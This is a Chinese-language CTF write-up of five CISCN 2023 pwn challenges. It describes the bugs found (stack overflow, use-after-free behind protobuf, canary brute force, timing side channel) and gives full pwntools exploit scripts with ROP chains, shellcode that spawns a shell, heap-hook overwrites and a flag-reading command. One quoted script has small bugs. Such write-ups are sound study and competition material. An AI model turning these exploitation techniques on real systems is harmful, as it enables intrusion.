CISCN 2023 初赛 Pwn WriteUp

第一次跟着校内大爹出去打国赛。

有输出,WIN!

CISCN 2023 初赛 Pwn WriteUp

附件分流:

Pwn: Here

Re(only day1-20230527): Here

day1-shaokao

改名函数有个明显的栈溢出。

随便看看就能看到有个可以白吃白喝让老板倒找钱给你的洞。在这里输入负数即可。

然后承包之,就可以改名了。进而栈溢出。

然后发现程序里有mprotect,考虑改rwx。

直接改name那个0x1000会炸不知道为什么,后来改到bss高地址可以。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#s=process("./shaokao")
s=remote("123.56.251.120",21758)
elf=ELF("./shaokao")
rdi=0x40264f
rsi=0x40a67e
rax_rdx_rbx=0x4a404a
binsh=0x4E60F0
mprotect=elf.sym.mprotect
def menu(ch):
    s.sendlineafter(b"> ",str(ch).encode())

if __name__=="__main__":
    menu(1)
    s.sendline(b"1")
    sleep(0.5)
    s.sendline(b"-10000")
    menu(4)
    menu(5)
    p=flat([
        b"/bin/sh\x00\x0f\x05".ljust(0x28,b"\x90"),
        rdi,0x4ea000,
        rsi,0x1000,
        rax_rdx_rbx,0x0,0x7,0x0,
        mprotect,
        rdi,0,
        rsi,0x4ea000,
        rax_rdx_rbx,0,0x1000,0,
        elf.sym.read,
        0x4ea000,
    ])
    """"""
    s.sendlineafter("请赐名:",p)
    sleep(0.5)
    s.send(asm(shellcraft.sh()))
    s.interactive()

day1-Strange Talk Bot

先不看最开始对输入处理的那个函数,先看后面的。

稍微逆一逆:

2.31的UAF,限制很宽松,最多0x20个堆块,堆块大小和输入长度最大0xf0,删除处有UAF,堆列表不可覆盖(即如果此位置申请过堆块不能再在这个位置申请)。

后面这部分就是随便玩了,构造大堆块,伪造指针,free后show之,libc和heap的base就都有了。剩下就是常规orw。

至于前面,那4byte丢到google看一下能搜到protobuf相关内容,小猜一手前面套了一层protobuf。

然后随便看看strings,找到这里:

几个字段也就有了,再在周围找找id和数据类型。

对几个字符串解引用:

可以看到几个字符串解引用后基本都是这个结构,第一个是tag,第二个是数据类型,参见官方文档,第三个似乎是某种偏移,本次利用中没有用到,没有深入研究。

然后就可以开始着手写proto了。格式参见此处

关于下面的required和optional:

本来函数是不需要msgsize和msgcontent的,但是调试的时候发现会炸所以全改成required了。

写wp的时候才反应过来似乎留着optional但都加上就可以了 wssb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
syntax = "proto2";

package test;

message Msg {
    required int64 actionid = 1;
    required int64 msgidx = 2;
    required int64 msgsize = 3;
    required bytes msgcontent = 4;
}

然后用protoc编译之,安装及命令行从略。

生成的py代码跟文档中不太一样,这里参照这份WP中的内容略作添加。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: test.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()

DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\ntest.proto\x12\x04test\"L\n\x03Msg\x12\x10\n\x08\x61\x63tionid\x18\x01 \x02(\x03\x12\x0e\n\x06msgidx\x18\x02 \x02(\x03\x12\x0f\n\x07msgsize\x18\x03 \x02(\x03\x12\x12\n\nmsgcontent\x18\x04 \x02(\x0c')

_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'test_pb2', _globals)
if _descriptor._USE_C_DESCRIPTORS == False:

  DESCRIPTOR._options = None
  _globals['_MSG']._serialized_start=20
  _globals['_MSG']._serialized_end=96
# @@protoc_insertion_point(module_scope)
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
Msg=_reflection.GeneratedProtocolMessageType("Msg",(_message.Message,), dict(
  DESCRIPTOR = _globals["_MSG"],
  __module__ = "test_pb2"
))
_sym_db.RegisterMessage(Msg)

然后就可以开调了。

埋在参数处理中的坑:actionidmsgidxmsgsize都需要在原大小基础上*2

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
import test_pb2
context(arch="amd64",log_level="debug")
s=process('./pwn')
s=remote("39.105.26.155",14934)
libc=ELF("./libc-2.31 (2).so")
time_val=0.01

def add(idx,sz,content=b"/flag\x00\x00\x00"):
    s.recvuntil(b"now: \n")
    dat=test_pb2.Msg()
    dat.actionid=1*2
    dat.msgidx=idx*2
    dat.msgsize=sz*2
    dat.msgcontent=content
    s.send(dat.SerializeToString())
    sleep(time_val)

def edit(idx,sz,content=b"/flag\x00\x00\x00"):
    s.recvuntil(b"now: \n")
    dat=test_pb2.Msg()
    dat.actionid=2*2
    dat.msgidx=idx*2
    dat.msgsize=sz*2
    dat.msgcontent=content
    s.send(dat.SerializeToString())
    sleep(time_val)

def show(idx):
    s.recvuntil(b"now: \n")
    dat=test_pb2.Msg()
    dat.actionid=3*2
    dat.msgidx=idx*2
    dat.msgsize=0x40
    dat.msgcontent=b"/flag\x00\x00\x00"
    s.send(dat.SerializeToString())
    sleep(time_val)

def delete(idx):
    s.recvuntil(b"now: \n")
    dat=test_pb2.Msg()
    dat.actionid=4*2
    dat.msgidx=idx*2
    dat.msgsize=0x40
    dat.msgcontent=b"/flag\x00\x00\x00"
    s.send(dat.SerializeToString())
    sleep(time_val)

if __name__=="__main__":
    sleep(3)
    for i in range(3):
        add(i,0xf0,b"/flag\x00\x00\x00"+p64(0)*4+p64(0x431))
    for i in range(2):
        delete(i)
    show(1)
    heap_base=u64(s.recv(6).ljust(8,b"\x00"))&0xfffffffffffff000
    success("heap base: "+hex(heap_base))

    edit(1,8,p64(heap_base+0x320))
    add(4,0xf0)
    add(5,0xf0)
    delete(5)
    show(5)
    s.recv(0x70)
    libc_base=u64(s.recv(6).ljust(8,b"\x00"))-(0x7f5b95523be0-0x7f5b95337000)
    success("libc base: "+hex(libc_base))

    flag=heap_base+0x2f0
    magic=libc_base+0x151990
    rdi=libc_base+0x0000000000023b6a
    rsi=libc_base+0x000000000002601f
    rdx=libc_base+0x0000000000142c92
    ret=libc_base+0x55042
    setcontext=libc_base+libc.sym.setcontext+61
    copen=libc_base+libc.sym.open
    cread=libc_base+libc.sym.read
    cwrite=libc_base+libc.sym.write

    payload=flat([
        rdi,flag,
        rsi,0,rdx,0,
        copen,
        rdi,3,rsi,heap_base+0x500,rdx,0x100,
        cread,
        rdi,1,
        cwrite
    ])
    _rdx_=heap_base+0xa60
    orw=heap_base+0xd20
    pivot=flat({
        8:_rdx_,
        0x20:setcontext,
        0xa8:ret,
        0xa0:orw,
    })
    add(12,0xe0)
    add(13,0xe0)
    add(6,0xe0)
    add(7,0xe0)
    add(8,0xe0,payload)
    delete(12)
    delete(13)
    delete(7)
    delete(6)
    edit(7,8,p64(libc_base+libc.sym.__free_hook))
    add(9,0xe0,pivot)
    add(10,0xe0)
    add(11,0xe0,p64(magic))
    delete(9)
    s.interactive()

day2-funcanary

基于fork的程序canary都一样,one-by-one爆破即可。

最后partial-overwrite返回地址到后门。

那个random属于是脑洞了,爆了一上午没爆出来加了个random秒出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=remote("123.56.236.235",34266)
#s=process("./funcanary")
elf=ELF("./funcanary")
def ssp():
    p=b"a"*104
    start=len(p)
    stop=len(p)+8
    while len(p)<stop:
        for i in range(256):
            s.recvline()
            s.send(p+int.to_bytes(i,length=1,byteorder='little'))
            res=s.recvline()
            if res==b"have fun\n":
                p+=int.to_bytes(i,length=1,byteorder='little')
                success(hex(i))
                break
    return p
if __name__=="__main__":
    p=ssp()+b"a"*8+b"\x31"
    print(p)
    s.recv()
    while 1:
        s.send(p+int.to_bytes(random.randint(1,15)*16+2,length=1,byteorder="little"))
        res=s.recvline()
        print(res)
        if res!=b"welcome\n":
            success(res)
            pause()
    s.interactive()

day2-shell-we-go 复现

参考writeup:

先用finger梭一下。(如果你选的是recongnize all,那你需要等亿会)

如果你finger正常走官网流程安装但菜单栏里看不到finger选项可以试试这个

然后就能发现出了一堆函数,但是main.main还是没出来,不过至少比啥也没有强。

遇事不决调一调,看看strings。

结合启动程序随便输点啥都报Cert Is A Must,搜一下,看到Cert Complete,解引用,就能看到疑似处理证书的汇编了。

但是IDA 7.7没法无脑F5,可以nop掉出错的地方,或者配合流程图硬啃汇编。

经过符号恢复后很明显能看出来rc4加密。v3是key,result是密文。

然后解密之,

得到字符串S33UAga1n@#!,不知道怎么用,先留着。

然后看看call它的函数都干了什么。

从cert的链追上去。

可以看到还比了一个字符串nAcDsMicN,长度9,正好与上一个块中的cmp内容一致,也先留着。

再往上看,有个cmp rbx,3不知道是干什么用的,再往上看也没找到直接操作rbx的汇编,但看到有call strings_genSplit,猜测可能是以空格来分离命令和参数,以备下一步处理。

通过动调也能看出来,此处rbx被修改,含义为以空格为分隔符,分割后的字符串个数。

官方abi文档里也写到:

Architecture specifics

This section describes per-architecture register mappings, as well as other per-architecture special cases. amd64 architecture

The amd64 architecture uses the following sequence of 9 registers for integer arguments and results:

RAX, RBX, RCX, RDI, RSI, R8, R9, R10, R11

这样一来cmp rbx,3就是在看argc了。

逆到这里就可以把两个字符串丢进去了。按处理顺序丢,就能发现进入内层shell了。

随便看看发现除了echo之外也没什么输入点,估计洞也就出在echo这里。

跟进处echo handler:

前一个while对所有参数进行长度检查并拼接,单个参数长度大于256就return 0。但是没有检查拼接后的内容长度,显然这里有个栈溢出。

下一步,便利参数串中内容,如果不是+号就复制到栈上。

先瞎坤⑧发一波看看,发现并不是炸在ret处,猜测可能有其他验证,那就想办法用+跳过相关指针,打ROP即可。

程序中存在字符串且gadget齐全(甚至连syscall;ret都有),也有flag相关字符串,考虑orw。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
s=process("./shell-we-go")
if __name__=="__main__":
    s.sendlineafter(b"ciscnshell$ ",b"cert nAcDsMicN S33UAga1n@#!")
    rax=0x000000000040d9e6
    rdi=0x0000000000444fec
    rsi=0x000000000041e818
    rdx=0x000000000049e11d
    syscall_ret=0x00000000004636e9
    flag_str=0x4C3A6D
    rop_chain=flat([
        rdi,flag_str,
        rsi,0,
        rdx,0,
        rax,2,
        syscall_ret,
        rdi,3,
        rsi,0x5b4000,
        rdx,0x100,
        rax,0,
        syscall_ret,
        rdi,1,
        rax,1,
        syscall_ret,
    ])
    s.sendlineafter(b"nightingale# ",b"echo "+b'+'*0x160+b' '+b'+'*0x140+b' '+b'+'*3+rop_chain)
    s.interactive()

day2-login 复现

参考WP:

AGCTF

脑洞题,谁知道你这个PIN会不会变,如果加了个random直接全线爆炸。

确实,不给附件就纯猜。

由于附件和环境都没了,这里简单说下思路:

nc连上去之后会给你个菜单,1注册2登录3忘记密码4退出。

注册是假的,没这个功能,登录需要密码,但目前啥也不知道,还开了canary,栈溢出就别想了,只能走忘记密码。

忘记密码会向你要8位数字PIN,可以爆但是一共1e9,emmm。

如果PIN不变,这里就可以用侧信道爆破。

针对每一位PIN,多发几次,统计总时间,看看有没有统计学意义上的不同。

如果有一个值显著偏高或偏低,那就可以认为它有概率是正确的PIN。

来自参考WP中的exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from sys import argv
context(os='linux',arch='amd64',log_level='debug')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def ru(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


def getpin(pin):
	subtime = -1
	res =''
	for c in a:
		pin_o = pin+c+'0'*(7-len(pin))
		sum=0
		for _ in range(10):
			ru('>')
			sl(b'3')
			ru(b"PIN code: ")
			start=time.time()
			sl(pin_o)
			rev=ru(b'\n')
			if b"Wrong PIN code" in rev:
				pass
			else:
				print(pin_0)
				break
			end=time.time()
			sum+=(end-start)
		print(cur,sum)
		avgtime=sum
		if(avgtime>subtime):
			subtime=avgtime
			res=c
	return res
a='0123456789'
p= remote("123.56.238.150",45118)
pin=''
for i in range(8):
	pin+=getpin(pin)
	print("PIN:",pin)
ru(b'>')
sl(b'2')
ru(b'PASSWD')
sl(b"123456")
ru(b'$')
sl(b"cat flag")
p.interactive()
#flag{d39a1013-e066-4d64-8558-4a5855fb7303}   pin code : 54730891

END?

算是第一次跟着学校里的爹组队,除了Pwn都在带飞,我纯纯fw。

听说半决赛还是awdp,更是第一次打。

不期望太多,有输出就是胜利(

0%